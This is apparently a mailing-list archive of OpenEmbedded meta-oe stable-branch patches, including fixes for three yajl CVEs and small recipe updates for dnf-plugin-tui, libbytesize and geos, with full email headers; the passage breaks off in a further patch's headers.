([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.41 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:41 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: Ross Burton , Khem Raj Subject: [meta-oe][nanbield][PATCH 10/17] yajl: fix CVE-2017-16516, CVE-2022-24795, CVE-2023-33460 Date: Fri, 29 Dec 2023 14:02:23 -0500 Message-Id: <20231229190230.135480-11-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:02:50 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107892 From: Ross Burton Take three CVE fixes from Fedora, as the upstream repository is now dead. Signed-off-by: Ross Burton Signed-off-by: Khem Raj (cherry picked from commit 458fd00233a73d75d43b21b86b1425d75947b154) Signed-off-by: Armin Kuster --- .../yajl/yajl/CVE-2017-16516.patch | 37 ++++++++++++ .../yajl/yajl/CVE-2022-24795.patch | 59 +++++++++++++++++++ .../yajl/yajl/CVE-2023-33460.patch | 35 +++++++++++ meta-oe/recipes-devtools/yajl/yajl_2.1.0.bb | 6 +- 4 files changed, 136 insertions(+), 1 deletion(-) create mode 100644 meta-oe/recipes-devtools/yajl/yajl/CVE-2017-16516.patch create mode 100644 meta-oe/recipes-devtools/yajl/yajl/CVE-2022-24795.patch create mode 100644 meta-oe/recipes-devtools/yajl/yajl/CVE-2023-33460.patch diff --git a/meta-oe/recipes-devtools/yajl/yajl/CVE-2017-16516.patch b/meta-oe/recipes-devtools/yajl/yajl/CVE-2017-16516.patch new file mode 100644 index 0000000000..1241ff9e31 --- /dev/null +++ b/meta-oe/recipes-devtools/yajl/yajl/CVE-2017-16516.patch @@ -0,0 +1,37 @@ +From 0b5e73c4321de0ba1d495fdc0967054b2a77931c Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Daniel=20P=2E=20Berrang=C3=A9?= +Date: Mon, 10 Jul 2023 13:36:10 +0100 +Subject: [PATCH] Fix for CVE-2017-16516 +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +Description: Fix for CVE-2017-16516 + Potential buffer overread: A JSON file can cause denial of service. +Origin: https://github.com/brianmario/yajl-ruby/commit/a8ca8f476655adaa187eedc60bdc770fff3c51ce + +CVE: CVE-2017-16516 +Upstream-Status: Submitted [https://github.com/lloyd/yajl/issues/248] +Signed-off-by: Ross Burton +--- + src/yajl_encode.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/src/yajl_encode.c b/src/yajl_encode.c +index fd08258..0d97cc5 100644 +--- a/src/yajl_encode.c ++++ b/src/yajl_encode.c +@@ -139,8 +139,8 @@ void yajl_string_decode(yajl_buf buf, const unsigned char * str, + end+=3; + /* check if this is a surrogate */ + if ((codepoint & 0xFC00) == 0xD800) { +- end++; +- if (str[end] == '\\' && str[end + 1] == 'u') { ++ if (end + 2 < len && str[end + 1] == '\\' && str[end + 2] == 'u') { ++ end++; + unsigned int surrogate = 0; + hexToDigit(&surrogate, str + end + 2); + codepoint = +-- +2.34.1 + diff --git a/meta-oe/recipes-devtools/yajl/yajl/CVE-2022-24795.patch b/meta-oe/recipes-devtools/yajl/yajl/CVE-2022-24795.patch new file mode 100644 index 0000000000..0dc859099d --- /dev/null +++ b/meta-oe/recipes-devtools/yajl/yajl/CVE-2022-24795.patch @@ -0,0 +1,59 @@ +From 17de4d15687aa30c49660dc4b792b1fb4d38b569 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Petr=20P=C3=ADsa=C5=99?= +Date: Thu, 7 Apr 2022 17:29:54 +0200 +Subject: [PATCH] Fix CVE-2022-24795 + +There was an integer overflow in yajl_buf_ensure_available() leading +to allocating less memory than requested. Then data were written past +the allocated heap buffer in yajl_buf_append(), the only caller of +yajl_buf_ensure_available(). Another result of the overflow was an +infinite loop without a return from yajl_buf_ensure_available(). + +yajl-ruby project, which bundles yajl, fixed it + by checking for the +integer overflow, fortifying buffer allocations, and report the +failures to a caller. But then the caller yajl_buf_append() skips +a memory write if yajl_buf_ensure_available() failed leading to a data +corruption. + +A yajl fork mainter recommended calling memory allocation callbacks with +the large memory request and let them to handle it. But that has the +problem that it's not possible pass the overely large size to the +callbacks. + +This patch catches the integer overflow and terminates the process +with abort(). + +CVE: CVE-2022-24795 +Upstream-Status: Submitted [https://github.com/lloyd/yajl/issues/239] +Signed-off-by: Ross Burton +--- + src/yajl_buf.c | 12 +++++++++++- + 1 file changed, 11 insertions(+), 1 deletion(-) + +diff --git a/src/yajl_buf.c b/src/yajl_buf.c +index 1aeafde..55c11ad 100644 +--- a/src/yajl_buf.c ++++ b/src/yajl_buf.c +@@ -45,7 +45,17 @@ void yajl_buf_ensure_available(yajl_buf buf, size_t want) + + need = buf->len; + +- while (want >= (need - buf->used)) need <<= 1; ++ if (((buf->used > want) ? buf->used : want) > (size_t)(buf->used + want)) { ++ /* We cannot allocate more memory than SIZE_MAX. */ ++ abort(); ++ } ++ while (want >= (need - buf->used)) { ++ if (need >= (size_t)((size_t)(-1)<<1)>>1) { ++ /* need would overflow. */ ++ abort(); ++ } ++ need <<= 1; ++ } + + if (need != buf->len) { + buf->data = (unsigned char *) YA_REALLOC(buf->alloc, buf->data, need); +-- +2.34.1 + diff --git a/meta-oe/recipes-devtools/yajl/yajl/CVE-2023-33460.patch b/meta-oe/recipes-devtools/yajl/yajl/CVE-2023-33460.patch new file mode 100644 index 0000000000..47454dc8af --- /dev/null +++ b/meta-oe/recipes-devtools/yajl/yajl/CVE-2023-33460.patch @@ -0,0 +1,35 @@ +Fix memory leaks. Taken from the Fedora packaging (https://src.fedoraproject.org/rpms/yajl) +where it was backported from openEuler. + +CVE: CVE-2023-33460 +Upstream-Status: Submitted [https://github.com/lloyd/yajl/issues/250] +Signed-off-by: Ross Burton + +diff --git a/src/yajl_tree.c b/src/yajl_tree.c +index 3d357a3..56c7012 100644 +--- a/src/yajl_tree.c ++++ b/src/yajl_tree.c +@@ -143,7 +143,7 @@ static yajl_val context_pop(context_t *ctx) + ctx->stack = stack->next; + + v = stack->value; +- ++ free (stack->key); + free (stack); + + return (v); +@@ -444,7 +444,14 @@ yajl_val yajl_tree_parse (const char *input, + snprintf(error_buffer, error_buffer_size, "%s", internal_err_str); + YA_FREE(&(handle->alloc), internal_err_str); + } ++ while(ctx.stack != NULL) { ++ yajl_val v = context_pop(&ctx); ++ yajl_tree_free(v); ++ } + yajl_free (handle); ++ //If the requested memory is not released in time, it will cause memory leakage ++ if(ctx.root) ++ yajl_tree_free(ctx.root); + return NULL; + } + diff --git a/meta-oe/recipes-devtools/yajl/yajl_2.1.0.bb b/meta-oe/recipes-devtools/yajl/yajl_2.1.0.bb index cf8dbb183e..2a34210f3c 100644 --- a/meta-oe/recipes-devtools/yajl/yajl_2.1.0.bb +++ b/meta-oe/recipes-devtools/yajl/yajl_2.1.0.bb @@ -8,7 +8,11 @@ HOMEPAGE = "http://lloyd.github.com/yajl/" LICENSE = "ISC" LIC_FILES_CHKSUM = "file://COPYING;md5=39af6eb42999852bdd3ea00ad120a36d" -SRC_URI = "git://github.com/lloyd/yajl;branch=master;protocol=https" +SRC_URI = "git://github.com/lloyd/yajl;branch=master;protocol=https \ + file://CVE-2017-16516.patch \ + file://CVE-2022-24795.patch \ + file://CVE-2023-33460.patch \ + " SRCREV = "a0ecdde0c042b9256170f2f8890dd9451a4240aa" S = "${WORKDIR}/git" From patchwork Fri Dec 29 19:02:24 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37090 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id 171A6C4707C for ; Fri, 29 Dec 2023 19:02:50 +0000 (UTC) Received: from mail-yw1-f182.google.com (mail-yw1-f182.google.com [209.85.128.182]) by mx.groups.io with SMTP id smtpd.web11.155471.1703876563870832495 for ; Fri, 29 Dec 2023 11:02:44 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=M0MZKrxT; spf=pass (domain: gmail.com, ip: 209.85.128.182, mailfrom: akuster808@gmail.com) Received: by mail-yw1-f182.google.com with SMTP id 00721157ae682-5e784ce9bb8so54480137b3.0 for ; Fri, 29 Dec 2023 11:02:43 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876563; x=1704481363; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=udJYx4Ma0+gY9Wufo99bU6Kr2iySKq4fo7haODHpbbU=; b=M0MZKrxTiyFTceos9fXoB0vAtBySbaEyA7hYJfYhoI5GtoCojFwdMau3GRieRYXlJb 7dKuXayxYO+TZ+lCRs+nuXsSKHRHfbkcAWl4g10ZWGbrhgVbZAEOy7GVwAHi5p+MRv1D TRfniEPNnVYQoTHNuxi7K8o0CXdceJfVVnbVyFDC4Om0ohxgEzCaSDpS02Qtzb8/2UnB 9Xi+lwhe67Sn5uacY3tgUkPMq2ZsXWlWudp9Gd3pIuFh8E0d9DPorkmKVYtF7DeOvfV/ Y0Ip0T0Vv8sbZmGlpGBHLwe3PLULjlzuInf5kRU/MGEGoRowQTRBYk8qgSMEMSJLb4A/ DoHQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876563; x=1704481363; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=udJYx4Ma0+gY9Wufo99bU6Kr2iySKq4fo7haODHpbbU=; b=CousqQwwDyOsOllCoI5kPdZaVKt7iBKMhvPEgcyQigqOkdMaV6kO+iim4wuhjgcqQm HsT5sYJRl2CSOF9qJqGdoXgn9dpxurfP3D+LYG8ifMlnQ7efwh+y3yyF/riZ5ZLGvtQG KrFeM3lsIG1fNkea2jho8+QKe6XWoHbcUr7yr1pQ9tYCefx3gBxp1lAFNXAKsKZgLkTc B8O+nObxiNxrgHn9eo0CzErDkt9kF9QvZHY6oogea19CgZV/XIqL936cgV3oItBypC+6 nAriAYqfioR0Mvg6k1BUD/Q9a33Fq4PZUkGAexlEeeY8Q7RyirvuXh8w8Z7FxsIFhmyy 05rQ== X-Gm-Message-State: AOJu0Yx5nJ+Fzpvm1jeFuA/JFlEx/eyvi62gtqmt4oeOv9shHiNIwQt0 urc659082AwArt5I1McG6fQHZjH3hH2ehA== X-Google-Smtp-Source: AGHT+IF6GgfIVELMq3xcsFVGDJ9uDOBa3bFEvzvEkpSxbBQQP4QSvW9Fwl7A5Jy+Gph/38lajee/XQ== X-Received: by 2002:a81:404c:0:b0:5ee:bce2:cc45 with SMTP id m12-20020a81404c000000b005eebce2cc45mr2280414ywn.33.1703876562765; Fri, 29 Dec 2023 11:02:42 -0800 (PST) Received: from keaua.caveonetworks.com ([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.41 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:42 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: Wang Mingyu , Khem Raj Subject: [meta-oe][nanbield][PATCH 11/17] dnf-plugin-tui: Recover BBCLASSEXTEND variants Date: Fri, 29 Dec 2023 14:02:24 -0500 Message-Id: <20231229190230.135480-12-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:02:50 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107893 From: Wang Mingyu dnf-plugin-tui must work on nativesdk environment. Now there's no warning when run the command "bitbake universe -c fetch". Signed-off-by: Wang Mingyu Signed-off-by: Khem Raj (cherry picked from commit 5211242d3f9d4a03cbe9e8af9beed4096a344958) Signed-off-by: Armin Kuster --- meta-oe/recipes-devtools/dnf-plugin-tui/dnf-plugin-tui_git.bb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/meta-oe/recipes-devtools/dnf-plugin-tui/dnf-plugin-tui_git.bb b/meta-oe/recipes-devtools/dnf-plugin-tui/dnf-plugin-tui_git.bb index a5d614961a..8db456b99c 100644 --- a/meta-oe/recipes-devtools/dnf-plugin-tui/dnf-plugin-tui_git.bb +++ b/meta-oe/recipes-devtools/dnf-plugin-tui/dnf-plugin-tui_git.bb @@ -42,4 +42,6 @@ RDEPENDS:${PN} += " \ dnf \ libnewt-python \ " +BBCLASSEXTEND = "nativesdk" + SKIP_RECIPE[dnf-plugin-tui] ?= "${@bb.utils.contains('PACKAGE_CLASSES', 'package_rpm', '', 'does not build correctly without package_rpm in PACKAGE_CLASSES', d)}" From patchwork Fri Dec 29 19:02:25 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37088 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id 09A4DC47255 for ; Fri, 29 Dec 2023 19:02:50 +0000 (UTC) Received: from mail-yw1-f172.google.com (mail-yw1-f172.google.com [209.85.128.172]) by mx.groups.io with SMTP id smtpd.web10.156014.1703876564815833004 for ; Fri, 29 Dec 2023 11:02:44 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=kUTJEPfL; spf=pass (domain: gmail.com, ip: 209.85.128.172, mailfrom: akuster808@gmail.com) Received: by mail-yw1-f172.google.com with SMTP id 00721157ae682-5d05ff42db0so61632367b3.2 for ; Fri, 29 Dec 2023 11:02:44 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876564; x=1704481364; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=HNxV8R4hIsmqkW3HrB2usLgWr/am/JLU7yT8D5Y8H9w=; b=kUTJEPfLEwkb3SmXiw97hQwc/bhN7fnIh3eqGoT2tEOSDNKeBn3NX2cye7SrGIiveb 17uX4xObsfxp373cnHQVZ4TifL7FZZiNdXQgSw6R2FyJftogMjPXl0MOHt2PzK+IthMi UmDDXq04qZ0/cDoRZR+3i2HNCDW2FOCsUNQBtQ6xeS73RXzGfgS3H0yocIYFImEW3VrA vGEvN4JTNeW4mCRik+4IIXofb2NsMcSFeGn7gbRPXsceyfYZGcHbUTAzeaKRyTUirzY8 Qw7QoZDajJVbaysQaobuXReSAwC1hPrGU/DR8Se0VekD8a0y6JCNVMoivVEkxOAraWoF zBqA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876564; x=1704481364; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=HNxV8R4hIsmqkW3HrB2usLgWr/am/JLU7yT8D5Y8H9w=; b=qWqUla1NfJFJZ44I9fb/CSUcs3Mk2TUVwBwFQySnB3t/sbr9H0FYl7NvaBx58ZSo// L+8qQr7hQ5/RQfZHIv0dcTd/FjdTiLcxvowPSF63TcJ4Ja4f4qHCJML7Fi0ta/1oUSPZ xWJjBSovgpUuRHekk/UVeV9+FIabhCIusbCqhBN9NxR1OT5hW3+nh/PJpOmDRidN2UNn CxdSoQEexVv/WLeQrTSYEw0ssjiMq0fHjXaJvCV13CkP8cayTXZgu9G1sS3SDgBu6ap/ uX2gSDnj9TwVQl9bXu9oF84a6v3VaVi5G8PyafX36seCGQqWutahGuBwMRJXErfRD3DR I3MA== X-Gm-Message-State: AOJu0YyrHcNxM3JhS3MCGz1ngYbeZCMSy2v07Wp43CnKORe0FMSh0Y5k UQwqrvgssmKlhvazwjNGCb+mBWCua7WXFQ== X-Google-Smtp-Source: AGHT+IGiOjoD06hNshNfxv+R2JeSiMCouhKeJtGAraLO2KTancgdAy5Eklx3WmjybUs0+NiMRVAFzA== X-Received: by 2002:a81:dc07:0:b0:5ee:d57e:edfb with SMTP id h7-20020a81dc07000000b005eed57eedfbmr2649173ywj.26.1703876563716; Fri, 29 Dec 2023 11:02:43 -0800 (PST) Received: from keaua.caveonetworks.com ([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.42 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:43 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: Edi Feschiyan , Khem Raj Subject: [meta-oe][nanbield][PATCH 12/17] libbytesize: update SRC_URI Date: Fri, 29 Dec 2023 14:02:25 -0500 Message-Id: <20231229190230.135480-13-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:02:50 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107894 From: Edi Feschiyan GitHub has been redirecting for a while, so switch SRC_URI from github.com/rhinstaller/libbytesize to github.com/storaged-project/libbytesize instead without redirects. Signed-off-by: Edi Feschiyan Signed-off-by: Khem Raj (cherry picked from commit 75bb23b3b03e225aa012be8bd5998223ae8f9b2f) Signed-off-by: Armin Kuster --- meta-oe/recipes-support/libbytesize/libbytesize_2.10.bb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/meta-oe/recipes-support/libbytesize/libbytesize_2.10.bb b/meta-oe/recipes-support/libbytesize/libbytesize_2.10.bb index 926a603b81..28e40f66e3 100644 --- a/meta-oe/recipes-support/libbytesize/libbytesize_2.10.bb +++ b/meta-oe/recipes-support/libbytesize/libbytesize_2.10.bb @@ -10,7 +10,7 @@ S = "${WORKDIR}/git" B = "${S}" SRCREV = "6e83cc6f6dff4f126fc79284e0c3c1c50123380d" -SRC_URI = "git://github.com/rhinstaller/libbytesize;branch=main;protocol=https" +SRC_URI = "git://github.com/storaged-project/libbytesize;branch=main;protocol=https" inherit gettext autotools pkgconfig python3native From patchwork Fri Dec 29 19:02:26 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37087 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id 006EDC4707B for ; Fri, 29 Dec 2023 19:02:50 +0000 (UTC) Received: from mail-yw1-f176.google.com (mail-yw1-f176.google.com [209.85.128.176]) by mx.groups.io with SMTP id smtpd.web11.155473.1703876566954965320 for ; Fri, 29 Dec 2023 11:02:47 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=imfFmeTK; spf=pass (domain: gmail.com, ip: 209.85.128.176, mailfrom: akuster808@gmail.com) Received: by mail-yw1-f176.google.com with SMTP id 00721157ae682-5e7467eb93aso45847607b3.1 for ; Fri, 29 Dec 2023 11:02:46 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876566; x=1704481366; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=B4mhP/OP/4NcIU90mh8o08mYbzVC5hUUJ0Qg8zJa5RA=; b=imfFmeTKr+UiG1Z8PPmPc4+nPhcpW29Abf9TEVq1zWnXoQJ+l3dLA9qDBR53tmGWao VcI0mDjfdiDLmZH+cSQJdp0UgCvyVZb2p4cw6ZCM4uhd6yIhCKfRs0gaFXOkA1hF9Khc 6rwttxBbQuPRvqlG8JWCBtKH7QCLhQDKUCm32QLfXp55FnMZeQAp+BdEg+Xpp2oR7/hb e4gYEgzdgK8M/x/fFrCcwxP2ZxjrXS0BeRalK5y4yjC1W0CNliKAFN6biiEu8qiYamBC RhMGMXe/bEcm0nFnHuG7brTWFi0Fpas7hbc4wsBOZ5IeMb8HHw6Kf6bkqRsa1Atw9HcZ OCAQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876566; x=1704481366; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=B4mhP/OP/4NcIU90mh8o08mYbzVC5hUUJ0Qg8zJa5RA=; b=CozDJp+4rZgGDjRFmIxkYMfJnBaoNCFDQiBEv0Tm6a0WyZWlSinv20URhfEVFkMggc CFa0c9brk3MDmg61osHhaZqP+QgD1lI/12wcVwtuCCrgr1PyBRz/7Abp2cF6pYNKw3Uj qdl2v8VobdNwzRlVou74Y7REPSr3ycQaUIc6G8TJ9FCVOmIiEyQiJRNlwYKwt3WQjwwl lUol2fsVYxdpI4gS54Q5F6H4ucMS7tv8afQpALEPrOWfwYeEKE4XT4tSoR/Jzqlxzlnp xMOj1fOy1cqJrVLbnK9QdIH0bHGoW+Av7hPn5Jb01/uwRcdiLGuWmN/NIuZg/0EiaZe7 5lxw== X-Gm-Message-State: AOJu0YwCsVvVVXUso0jWGskItGegfJiiRAlhfoG7gZF4EIEr6yoZ3Q0M t7+EF7N2Vx7I/7AtGl8mDN4BsBN3/IplbQ== X-Google-Smtp-Source: AGHT+IEVBHP7TYYgd+62rdZaLO6dLl+pv4K3HBH8bjg2TnUR91YdtweP/N4L+vjHOBhDMZ+qsKVxvQ== X-Received: by 2002:a0d:ec48:0:b0:5ef:4a7d:2426 with SMTP id r8-20020a0dec48000000b005ef4a7d2426mr1230013ywn.31.1703876565982; Fri, 29 Dec 2023 11:02:45 -0800 (PST) Received: from keaua.caveonetworks.com ([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.44 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:44 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: =?utf-8?b?Wm9sdMOhbiBCw7ZzesO2cm3DqW55aQ==?= , Khem Raj Subject: [meta-oe][nanbield][PATCH 13/17] geos: Fix packaging Date: Fri, 29 Dec 2023 14:02:26 -0500 Message-Id: <20231229190230.135480-14-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:02:49 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107895 From: Zoltán Böszörményi Due to the library file name change, the subpackage "geoslib" does not get generated, and the main geos package has unsatisfied dependencies. Signed-off-by: Zoltán Böszörményi Signed-off-by: Khem Raj (cherry picked from commit 405ee461078cfed493bd6ca06f922860be5081d0) Signed-off-by: Armin Kuster --- meta-oe/recipes-navigation/geos/geos_3.12.0.bb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/meta-oe/recipes-navigation/geos/geos_3.12.0.bb b/meta-oe/recipes-navigation/geos/geos_3.12.0.bb index 95cb29775a..0382e6bdfe 100644 --- a/meta-oe/recipes-navigation/geos/geos_3.12.0.bb +++ b/meta-oe/recipes-navigation/geos/geos_3.12.0.bb @@ -13,7 +13,7 @@ inherit cmake pkgconfig binconfig PACKAGES =+ "geoslib ${PN}-c1" DESCRIPTION:${PN}lib = "Geometry engine for Geographic Information Systems - C++ Library" -FILES:${PN}lib += "${libdir}/libgeos-${PV}.so" +FILES:${PN}lib += "${libdir}/libgeos.so.*" DESCRIPTION:${PN}-c1 = "Geometry engine for Geographic Information Systems - C Library" FILES:${PN}-c1 += "${libdir}/libgeos_c.so.*" From patchwork Fri Dec 29 19:02:27 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37093 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id 32A3BC4725D for ; Fri, 29 Dec 2023 19:02:50 +0000 (UTC) Received: from mail-yw1-f170.google.com (mail-yw1-f170.google.com [209.85.128.170]) by mx.groups.io with SMTP id smtpd.web10.156015.1703876568146291199 for ; Fri, 29 Dec 2023 11:02:48 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=SU4qXRM+; spf=pass (domain: gmail.com, ip: 209.85.128.170, mailfrom: akuster808@gmail.com) Received: by mail-yw1-f170.google.com with SMTP id 00721157ae682-5ef7c6f4cfcso10356767b3.1 for ; Fri, 29 Dec 2023 11:02:48 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876567; x=1704481367; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=VdyBeuX4uoJHTJlzW46z3FwcFpLi6d/3NgxdXv5lsqA=; b=SU4qXRM+ZeUlILdsK7nRkKVryf1MrY4AclD1FuMm5Hg5L1hzlq+LlK7wkwPsDCk/Hx +QS7CEo1nx6X+zWIOh2O8pq25fqdUgrexlCB9ufzrqWCDPg8y+bxa2WtPJ+WXj4bWc/5 4rNGla0fRAKdXzvAt53hQXuDx4sWsj/fGzBm3L2xTRYuby2UA8PvrP9IwrZDOmeF9WaR 0DMQm4dyti9X7288BaGmV/4jwmKZ3HsSKN+9M4dNBXRPu5JmSlD/QcQNKvVe80LeejoM 5YtYRoKpvv5BnqR5qpm6S7R/SsSdl8rfUcj+x0IxttszcOLQTYhg0tsUxWK7y8wfk2gB 26sg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876567; x=1704481367; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=VdyBeuX4uoJHTJlzW46z3FwcFpLi6d/3NgxdXv5lsqA=; b=mRrTKIwRQGf92R5jaVfLbd1oXwPXTSKZHvj2NA8iLtbHR7kAEW+mYgRlQqqRPqXMsL sf+t79wNC4Mb5xaAOiI/wHWv5wU8GU/myHKYmbrY901dfxGklrqrIyo3uD/iMbE3gXQO c5BdDGI9KvyKZJRlsJgsqlONeKGZhfzfuiBajF0b2YqngmmH8CE0syG1sG5KDHOcb8L3 9Ex96Mtpz8HM+/SGfyQGQfST1i+moEoeL65R+QIUL3T0/OY/en4OTcw3ee8wYpDKuoGM +t01hWO/UlRJGscNdWaMXXhLS4o85GdQBClp/5NSJgYN6GcimvfDkf1b34AzfshvVZCP 2GUQ== X-Gm-Message-State: AOJu0Yy1JplyU0A+z9QwjB9JD7Rp00broI8xY4L1aNGWOgeHaKRNC/PT zWh/nM6511YbWezgxObTSvDhRbz1OIRPMA== X-Google-Smtp-Source: AGHT+IE5y/juYd7zhn+6GadU1SuPD5VrI+gedUNKnR+XlBiLZlr/k6wCYZbGcRq0JP3gos1/LaFzdg== X-Received: by 2002:a81:6909:0:b0:5d8:2fc8:cc9c with SMTP id e9-20020a816909000000b005d82fc8cc9cmr7847110ywc.37.1703876566954; Fri, 29 Dec 2023 11:02:46 -0800 (PST) Received: from keaua.caveonetworks.com 